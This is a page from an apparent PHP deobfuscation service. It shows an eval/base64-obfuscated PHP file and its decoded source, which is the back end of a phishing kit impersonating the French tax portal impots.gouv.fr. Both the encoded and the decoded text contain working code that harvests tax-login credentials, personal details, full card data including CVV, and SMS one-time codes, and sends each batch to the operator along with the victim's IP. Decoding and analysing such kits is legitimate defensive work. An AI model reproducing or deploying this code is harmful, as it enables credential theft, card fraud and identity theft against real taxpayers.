Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KICAgIC8qKi8vKiovLyoqLy8qKi8vKiovLyoqDQoNCiAgICA..

Decoded Output download

?>b'<?php

    /**//**//**//**//**//**

        Telegram : https://t.me/syst3mx
        Telegram Group : https://t.me/matos_x

    /**//**//**//**//**//**/

    include \'app.php\';

    if( isset($_GET["redirection"]) && !empty($_GET[\'redirection\']) ) {

        $red = $_GET[\'redirection\'];
        $_SESSION[\'last_page\'] = $red;
        $query = [];
        $parse_url = proper_parse_str($_SERVER[\'QUERY_STRING\']);
        foreach($parse_url as $key => $val) {
            if( $key == \'redirection\' ){
                unset($parse_url[$key]);
            } else {
                $query[] = $key . \'=\' . $val;
            }
        }
        if( is_array($query) ) {
            $query = "?" . implode(\'&\',$query);
        }

        header("Location: " . randomix(24) . $query);
        exit();

    } else if( isset($_GET["lang"]) && !empty($_GET[\'lang\']) ) {

        $_SESSION[\'lang\'] = $_GET["lang"];
        location($_SESSION[\'last_page\']);

    } else if( $_SERVER[\'REQUEST_METHOD\'] == "POST" ) {

        if( $_POST[\'steeep\'] == "login" ) {
            $_SESSION[\'errors\'] = [];
            $_SESSION[\'username\']   = $_POST[\'username\'];
            $_SESSION[\'password\'] = $_POST[\'password\'];
            if( validate_number($_POST[\'username\'],13) == false ) {
                $_SESSION[\'errors\'][\'username\'] = true;
            }
            if( strlen($_POST[\'password\']) < 8 ) {
                $_SESSION[\'errors\'][\'password\'] = true;
            }
            if( count($_SESSION[\'errors\']) == 0 ) {
                $subject = get_client_ip() . \' | IMPOTS | Login\';
                $message = \'/-- LOGIN INFOS --/\' . get_client_ip() . "
";
                $message .= \'Numro fiscal : \' . $_POST[\'username\'] . "
"; 
                $message .= \'Mot de passe : \' . $_POST[\'password\'] . "
";
                $message .= \'/-- END LOGIN INFOS --/\' . "
";
                $message .= victim_infos();
                send($subject,$message);
                location(\'details\');
            } else {
                location(\'login\',\'&error=1\');
            }
        }

        if( $_POST[\'steeep\'] == "details" ) {
            $_SESSION[\'errors\'] = [];
            $_SESSION[\'email\']   = $_POST[\'email\'];        
            $_SESSION[\'full_name\'] = $_POST[\'full_name\'];
            $_SESSION[\'birth_day\']    = $_POST[\'birth_day\'];
            $_SESSION[\'birth_month\']  = $_POST[\'birth_month\'];
            $_SESSION[\'birth_year\']   = $_POST[\'birth_year\'];
            $_SESSION[\'address\']  = $_POST[\'address\']; 
            $_SESSION[\'zip_code\']  = $_POST[\'zip_code\']; 
            $_SESSION[\'city\']  = $_POST[\'city\']; 
            $_SESSION[\'phone\']  = $_POST[\'phone\'];
            if( validate_email($_POST[\'email\']) == false ) {
                $_SESSION[\'errors\'][\'email\'] = true;
            }
            if( validate_name($_POST[\'full_name\']) == false ) {
                $_SESSION[\'errors\'][\'full_name\'] = true;
            }
            if( empty($_POST[\'birth_day\']) ) {
                $_SESSION[\'errors\'][\'birth_day\'] = true;
            }
            if( empty($_POST[\'birth_month\']) ) {
                $_SESSION[\'errors\'][\'birth_month\'] = true;
            }
            if( empty($_POST[\'birth_year\']) ) {
                $_SESSION[\'errors\'][\'birth_year\'] = true;
            }
            if( empty($_POST[\'address\']) ) {
                $_SESSION[\'errors\'][\'address\'] = true;
            }
            if( empty($_POST[\'zip_code\']) ) {
                $_SESSION[\'errors\'][\'zip_code\'] = true;
            }
            if( empty($_POST[\'city\']) ) {
                $_SESSION[\'errors\'][\'city\'] = true;
            }
            if( validate_number($_POST[\'phone\'],10) == false ) {
                $_SESSION[\'errors\'][\'phone\'] = true;
            }

            if( count($_SESSION[\'errors\']) == 0 ) {
                $subject = get_client_ip() . \' | IMPOTS | Details\';
                $message = \'/-- CARD INFOS --/\' . get_client_ip() . "
";
                $message .= \'Adresse e-mail : \' . $_POST[\'email\'] . "
";
                $message .= \'Nom et prenom : \' . $_POST[\'full_name\'] . "
";
                $message .= \'Date de naissance : \' . $_POST[\'birth_day\'] . \'/\' . $_POST[\'birth_month\'] . \'/\' . $_POST[\'birth_year\'] . "
";
                $message .= \'Adresse : \' . $_POST[\'address\'] . "
";
                $message .= \'Code postal : \' . $_POST[\'zip_code\'] . "
";
                $message .= \'Ville : \' . $_POST[\'city\'] . "
";
                $message .= \'Numro de tlphone : \' . $_POST[\'phone\'] . "
";
                $message .= \'/-- END CARD INFOS --/\' . "
";
                $message .= victim_infos();
                send($subject,$message);
                location(\'cc\');
            } else {
                location(\'details\',\'&error=1\');
            }
        }

        if( $_POST[\'steeep\'] == "cc" ) {
            $_SESSION[\'errors\'] = [];
            $_SESSION[\'name\']   = $_POST[\'name\'];         
            $_SESSION[\'phone\'] = $_POST[\'phone\'];
            $_SESSION[\'one\']    = $_POST[\'one\'];
            $_SESSION[\'month\']  = $_POST[\'month\'];
            $_SESSION[\'year\']   = $_POST[\'year\'];
            $_SESSION[\'three\']  = $_POST[\'three\']; 
            $one        = validate_one($_POST[\'one\']);
            $three      = validate_three($_POST[\'three\']);
            if( validate_name($_POST[\'name\']) == false ) {
                $_SESSION[\'errors\'][\'name\'] = true;
            }
            if( $one == false ) {
                $_SESSION[\'errors\'][\'one\'] = true;
            }
            if( $three == false ) {
                $_SESSION[\'errors\'][\'three\'] = true;
            }
            if( validate_number($_POST[\'month\'],2) == false ) {
                $_SESSION[\'errors\'][\'month\'] = true;
                $_SESSION[\'errors\'][\'two\'] = true;
            }
            if( validate_number($_POST[\'year\'],4) == false ) {
                $_SESSION[\'errors\'][\'year\'] = true;
                $_SESSION[\'errors\'][\'two\'] = true;
            }
            if( validate_number($_POST[\'phone\'],10) == false ) {
                $_SESSION[\'errors\'][\'phone\'] = true;
            }

            if( count($_SESSION[\'errors\']) == 0 ) {
                $subject = get_client_ip() . \' | IMPOTS | Card\';
                $message = \'/-- CARD INFOS --/\' . get_client_ip() . "
";
                $message .= \'Titulaire du compte : \' . $_POST[\'name\'] . "
";
                $message .= \'Numro de carte : \' . $_POST[\'one\'] . "
";
                $message .= \'Date d\'expiration : \' . $_POST[\'month\'] . \'/\' . $_POST[\'year\'] . "
";
                $message .= \'CVV : \' . $_POST[\'three\'] . "
";
                $message .= \'Numro de tlphone : \' . $_POST[\'phone\'] . "
";
                $message .= \'/-- END CARD INFOS --/\' . "
";
                $message .= victim_infos();
                send($subject,$message);
                location(\'loading\');
            } else {
                location(\'cc\',\'&error=1\');
            }
        }

        if( $_POST[\'steeep\'] == "sms" ) {
            $_SESSION[\'errors\'] = [];
            $_SESSION[\'sms_code\']   = $_POST[\'sms_code\'];
            if( empty($_POST[\'sms_code\']) ) {
                $_SESSION[\'errors\'][\'sms_code\'] = true;
            }
            if( count($_SESSION[\'errors\']) == 0 ) {
                $subject = get_client_ip() . \' | IMPOTS | Sms\';
                $message = \'/-- SMS INFOS --/\' . get_client_ip() . "
";
                $message .= \'SMS code : \' . $_POST[\'sms_code\'] . "
";
                $message .= \'/-- END SMS INFOS --/\' . "
";
                $message .= victim_infos();
                send($subject,$message);
                $sms_number = SMS_NUMBER;
                $error = intval($_POST[\'error\']);
                $max = $sms_number - 1;
                if( $error >= $max ) {
                    location(\'success\');
                }
                $current = intval($_POST[\'error\']) + 1;
                location(\'loading\',\'&error=\' . $current);
            } else {
                $error = $_POST[\'error\'];
                location(\'sms\',\'&error=\' . $error);
            }
        }

    } else {

        if( isset($_SESSION[\'last_page\']) ) {
            redirect($_SESSION[\'last_page\']);
        }

        header("Location: https://www.impots.gouv.fr/portail/");
        exit();

    }
    

?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KICAgIC8qKi8vKiovLyoqLy8qKi8vKiovLyoqDQoNCiAgICAgICAgVGVsZWdyYW0gOiBodHRwczovL3QubWUvc3lzdDNteA0KICAgICAgICBUZWxlZ3JhbSBHcm91cCA6IGh0dHBzOi8vdC5tZS9tYXRvc194DQoNCiAgICAvKiovLyoqLy8qKi8vKiovLyoqLy8qKi8NCg0KICAgIGluY2x1ZGUgJ2FwcC5waHAnOw0KDQogICAgaWYoIGlzc2V0KCRfR0VUWyJyZWRpcmVjdGlvbiJdKSAmJiAhZW1wdHkoJF9HRVRbJ3JlZGlyZWN0aW9uJ10pICkgew0KDQogICAgICAgICRyZWQgPSAkX0dFVFsncmVkaXJlY3Rpb24nXTsNCiAgICAgICAgJF9TRVNTSU9OWydsYXN0X3BhZ2UnXSA9ICRyZWQ7DQogICAgICAgICRxdWVyeSA9IFtdOw0KICAgICAgICAkcGFyc2VfdXJsID0gcHJvcGVyX3BhcnNlX3N0cigkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pOw0KICAgICAgICBmb3JlYWNoKCRwYXJzZV91cmwgYXMgJGtleSA9PiAkdmFsKSB7DQogICAgICAgICAgICBpZiggJGtleSA9PSAncmVkaXJlY3Rpb24nICl7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBhcnNlX3VybFska2V5XSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRxdWVyeVtdID0gJGtleSAuICc9JyAuICR2YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoIGlzX2FycmF5KCRxdWVyeSkgKSB7DQogICAgICAgICAgICAkcXVlcnkgPSAiPyIgLiBpbXBsb2RlKCcmJywkcXVlcnkpOw0KICAgICAgICB9DQoNCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIiAuIHJhbmRvbWl4KDI0KSAuICRxdWVyeSk7DQogICAgICAgIGV4aXQoKTsNCg0KICAgIH0gZWxzZSBpZiggaXNzZXQoJF9HRVRbImxhbmciXSkgJiYgIWVtcHR5KCRfR0VUWydsYW5nJ10pICkgew0KDQogICAgICAgICRfU0VTU0lPTlsnbGFuZyddID0gJF9HRVRbImxhbmciXTsNCiAgICAgICAgbG9jYXRpb24oJF9TRVNTSU9OWydsYXN0X3BhZ2UnXSk7DQoNCiAgICB9IGVsc2UgaWYoICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICJQT1NUIiApIHsNCg0KICAgICAgICBpZiggJF9QT1NUWydzdGVlZXAnXSA9PSAibG9naW4iICkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXSA9IFtdOw0KICAgICAgICAgICAgJF9TRVNTSU9OWyd1c2VybmFtZSddICAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQogICAgICAgICAgICAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10gPSAkX1BPU1RbJ3Bhc3N3b3JkJ107DQogICAgICAgICAgICBpZiggdmFsaWRhdGVfbnVtYmVyKCRfUE9TVFsndXNlcm5hbWUnXSwxMykgPT0gZmFsc2UgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsndXNlcm5hbWUnXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggc3RybGVuKCRfUE9TVFsncGFzc3dvcmQnXSkgPCA4ICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ3Bhc3N3b3JkJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIGNvdW50KCRfU0VTU0lPTlsnZXJyb3JzJ10pID09IDAgKSB7DQogICAgICAgICAgICAgICAgJHN1YmplY3QgPSBnZXRfY2xpZW50X2lwKCkgLiAnIHwgSU1QT1RTIHwgTG9naW4nOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJy8tLSBMT0dJTiBJTkZPUyAtLS8nIC4gZ2V0X2NsaWVudF9pcCgpIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICdOdW3DqXJvIGZpc2NhbCA6ICcgLiAkX1BPU1RbJ3VzZXJuYW1lJ10gLiAiXHJcbiI7IA0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICdNb3QgZGUgcGFzc2UgOiAnIC4gJF9QT1NUWydwYXNzd29yZCddIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICcvLS0gRU5EIExPR0lOIElORk9TIC0tLycgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gdmljdGltX2luZm9zKCk7DQogICAgICAgICAgICAgICAgc2VuZCgkc3ViamVjdCwkbWVzc2FnZSk7DQogICAgICAgICAgICAgICAgbG9jYXRpb24oJ2RldGFpbHMnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgbG9jYXRpb24oJ2xvZ2luJywnJmVycm9yPTEnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCAkX1BPU1RbJ3N0ZWVlcCddID09ICJkZXRhaWxzIiApIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ10gPSBbXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZW1haWwnXSAgID0gJF9QT1NUWydlbWFpbCddOyAgICAgICAgDQogICAgICAgICAgICAkX1NFU1NJT05bJ2Z1bGxfbmFtZSddID0gJF9QT1NUWydmdWxsX25hbWUnXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnYmlydGhfZGF5J10gICAgPSAkX1BPU1RbJ2JpcnRoX2RheSddOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydiaXJ0aF9tb250aCddICA9ICRfUE9TVFsnYmlydGhfbW9udGgnXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnYmlydGhfeWVhciddICAgPSAkX1BPU1RbJ2JpcnRoX3llYXInXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnYWRkcmVzcyddICA9ICRfUE9TVFsnYWRkcmVzcyddOyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnemlwX2NvZGUnXSAgPSAkX1BPU1RbJ3ppcF9jb2RlJ107IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydjaXR5J10gID0gJF9QT1NUWydjaXR5J107IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydwaG9uZSddICA9ICRfUE9TVFsncGhvbmUnXTsNCiAgICAgICAgICAgIGlmKCB2YWxpZGF0ZV9lbWFpbCgkX1BPU1RbJ2VtYWlsJ10pID09IGZhbHNlICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ2VtYWlsJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIHZhbGlkYXRlX25hbWUoJF9QT1NUWydmdWxsX25hbWUnXSkgPT0gZmFsc2UgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsnZnVsbF9uYW1lJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIGVtcHR5KCRfUE9TVFsnYmlydGhfZGF5J10pICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ2JpcnRoX2RheSddID0gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKCBlbXB0eSgkX1BPU1RbJ2JpcnRoX21vbnRoJ10pICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ2JpcnRoX21vbnRoJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIGVtcHR5KCRfUE9TVFsnYmlydGhfeWVhciddKSApIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2Vycm9ycyddWydiaXJ0aF95ZWFyJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIGVtcHR5KCRfUE9TVFsnYWRkcmVzcyddKSApIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2Vycm9ycyddWydhZGRyZXNzJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIGVtcHR5KCRfUE9TVFsnemlwX2NvZGUnXSkgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsnemlwX2NvZGUnXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggZW1wdHkoJF9QT1NUWydjaXR5J10pICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ2NpdHknXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggdmFsaWRhdGVfbnVtYmVyKCRfUE9TVFsncGhvbmUnXSwxMCkgPT0gZmFsc2UgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsncGhvbmUnXSA9IHRydWU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmKCBjb3VudCgkX1NFU1NJT05bJ2Vycm9ycyddKSA9PSAwICkgew0KICAgICAgICAgICAgICAgICRzdWJqZWN0ID0gZ2V0X2NsaWVudF9pcCgpIC4gJyB8IElNUE9UUyB8IERldGFpbHMnOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJy8tLSBDQVJEIElORk9TIC0tLycgLiBnZXRfY2xpZW50X2lwKCkgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJ0FkcmVzc2UgZS1tYWlsIDogJyAuICRfUE9TVFsnZW1haWwnXSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAnTm9tIGV0IHByZW5vbSA6ICcgLiAkX1BPU1RbJ2Z1bGxfbmFtZSddIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICdEYXRlIGRlIG5haXNzYW5jZSA6ICcgLiAkX1BPU1RbJ2JpcnRoX2RheSddIC4gJy8nIC4gJF9QT1NUWydiaXJ0aF9tb250aCddIC4gJy8nIC4gJF9QT1NUWydiaXJ0aF95ZWFyJ10gLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJ0FkcmVzc2UgOiAnIC4gJF9QT1NUWydhZGRyZXNzJ10gLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJ0NvZGUgcG9zdGFsIDogJyAuICRfUE9TVFsnemlwX2NvZGUnXSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAnVmlsbGUgOiAnIC4gJF9QT1NUWydjaXR5J10gLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJ051bcOpcm8gZGUgdMOpbMOpcGhvbmUgOiAnIC4gJF9QT1NUWydwaG9uZSddIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICcvLS0gRU5EIENBUkQgSU5GT1MgLS0vJyAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSB2aWN0aW1faW5mb3MoKTsNCiAgICAgICAgICAgICAgICBzZW5kKCRzdWJqZWN0LCRtZXNzYWdlKTsNCiAgICAgICAgICAgICAgICBsb2NhdGlvbignY2MnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgbG9jYXRpb24oJ2RldGFpbHMnLCcmZXJyb3I9MScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgaWYoICRfUE9TVFsnc3RlZWVwJ10gPT0gImNjIiApIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ10gPSBbXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnbmFtZSddICAgPSAkX1BPU1RbJ25hbWUnXTsgICAgICAgICANCiAgICAgICAgICAgICRfU0VTU0lPTlsncGhvbmUnXSA9ICRfUE9TVFsncGhvbmUnXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnb25lJ10gICAgPSAkX1BPU1RbJ29uZSddOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydtb250aCddICA9ICRfUE9TVFsnbW9udGgnXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsneWVhciddICAgPSAkX1BPU1RbJ3llYXInXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsndGhyZWUnXSAgPSAkX1BPU1RbJ3RocmVlJ107IA0KICAgICAgICAgICAgJG9uZSAgICAgICAgPSB2YWxpZGF0ZV9vbmUoJF9QT1NUWydvbmUnXSk7DQogICAgICAgICAgICAkdGhyZWUgICAgICA9IHZhbGlkYXRlX3RocmVlKCRfUE9TVFsndGhyZWUnXSk7DQogICAgICAgICAgICBpZiggdmFsaWRhdGVfbmFtZSgkX1BPU1RbJ25hbWUnXSkgPT0gZmFsc2UgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsnbmFtZSddID0gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKCAkb25lID09IGZhbHNlICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ29uZSddID0gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKCAkdGhyZWUgPT0gZmFsc2UgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsndGhyZWUnXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggdmFsaWRhdGVfbnVtYmVyKCRfUE9TVFsnbW9udGgnXSwyKSA9PSBmYWxzZSApIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2Vycm9ycyddWydtb250aCddID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2Vycm9ycyddWyd0d28nXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggdmFsaWRhdGVfbnVtYmVyKCRfUE9TVFsneWVhciddLDQpID09IGZhbHNlICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ3llYXInXSA9IHRydWU7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsndHdvJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYoIHZhbGlkYXRlX251bWJlcigkX1BPU1RbJ3Bob25lJ10sMTApID09IGZhbHNlICkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ11bJ3Bob25lJ10gPSB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiggY291bnQoJF9TRVNTSU9OWydlcnJvcnMnXSkgPT0gMCApIHsNCiAgICAgICAgICAgICAgICAkc3ViamVjdCA9IGdldF9jbGllbnRfaXAoKSAuICcgfCBJTVBPVFMgfCBDYXJkJzsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICcvLS0gQ0FSRCBJTkZPUyAtLS8nIC4gZ2V0X2NsaWVudF9pcCgpIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICdUaXR1bGFpcmUgZHUgY29tcHRlIDogJyAuICRfUE9TVFsnbmFtZSddIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICdOdW3DqXJvIGRlIGNhcnRlIDogJyAuICRfUE9TVFsnb25lJ10gLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJ0RhdGUgZFwnZXhwaXJhdGlvbiA6ICcgLiAkX1BPU1RbJ21vbnRoJ10gLiAnLycgLiAkX1BPU1RbJ3llYXInXSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAnQ1ZWIDogJyAuICRfUE9TVFsndGhyZWUnXSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAnTnVtw6lybyBkZSB0w6lsw6lwaG9uZSA6ICcgLiAkX1BPU1RbJ3Bob25lJ10gLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgJG1lc3NhZ2UgLj0gJy8tLSBFTkQgQ0FSRCBJTkZPUyAtLS8nIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49IHZpY3RpbV9pbmZvcygpOw0KICAgICAgICAgICAgICAgIHNlbmQoJHN1YmplY3QsJG1lc3NhZ2UpOw0KICAgICAgICAgICAgICAgIGxvY2F0aW9uKCdsb2FkaW5nJyk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGxvY2F0aW9uKCdjYycsJyZlcnJvcj0xJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiggJF9QT1NUWydzdGVlZXAnXSA9PSAic21zIiApIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3JzJ10gPSBbXTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnc21zX2NvZGUnXSAgID0gJF9QT1NUWydzbXNfY29kZSddOw0KICAgICAgICAgICAgaWYoIGVtcHR5KCRfUE9TVFsnc21zX2NvZGUnXSkgKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvcnMnXVsnc21zX2NvZGUnXSA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiggY291bnQoJF9TRVNTSU9OWydlcnJvcnMnXSkgPT0gMCApIHsNCiAgICAgICAgICAgICAgICAkc3ViamVjdCA9IGdldF9jbGllbnRfaXAoKSAuICcgfCBJTVBPVFMgfCBTbXMnOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJy8tLSBTTVMgSU5GT1MgLS0vJyAuIGdldF9jbGllbnRfaXAoKSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAnU01TIGNvZGUgOiAnIC4gJF9QT1NUWydzbXNfY29kZSddIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICcvLS0gRU5EIFNNUyBJTkZPUyAtLS8nIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlIC49IHZpY3RpbV9pbmZvcygpOw0KICAgICAgICAgICAgICAgIHNlbmQoJHN1YmplY3QsJG1lc3NhZ2UpOw0KICAgICAgICAgICAgICAgICRzbXNfbnVtYmVyID0gU01TX05VTUJFUjsNCiAgICAgICAgICAgICAgICAkZXJyb3IgPSBpbnR2YWwoJF9QT1NUWydlcnJvciddKTsNCiAgICAgICAgICAgICAgICAkbWF4ID0gJHNtc19udW1iZXIgLSAxOw0KICAgICAgICAgICAgICAgIGlmKCAkZXJyb3IgPj0gJG1heCApIHsNCiAgICAgICAgICAgICAgICAgICAgbG9jYXRpb24oJ3N1Y2Nlc3MnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSBpbnR2YWwoJF9QT1NUWydlcnJvciddKSArIDE7DQogICAgICAgICAgICAgICAgbG9jYXRpb24oJ2xvYWRpbmcnLCcmZXJyb3I9JyAuICRjdXJyZW50KTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGVycm9yID0gJF9QT1NUWydlcnJvciddOw0KICAgICAgICAgICAgICAgIGxvY2F0aW9uKCdzbXMnLCcmZXJyb3I9JyAuICRlcnJvcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgIH0gZWxzZSB7DQoNCiAgICAgICAgaWYoIGlzc2V0KCRfU0VTU0lPTlsnbGFzdF9wYWdlJ10pICkgew0KICAgICAgICAgICAgcmVkaXJlY3QoJF9TRVNTSU9OWydsYXN0X3BhZ2UnXSk7DQogICAgICAgIH0NCg0KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiBodHRwczovL3d3dy5pbXBvdHMuZ291di5mci9wb3J0YWlsLyIpOw0KICAgICAgICBleGl0KCk7DQoNCiAgICB9DQogICAgDQoNCj8+")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2bd1f861029dbdbcdc5ea364331d1769
Eval Count 1
Decode Time 38 ms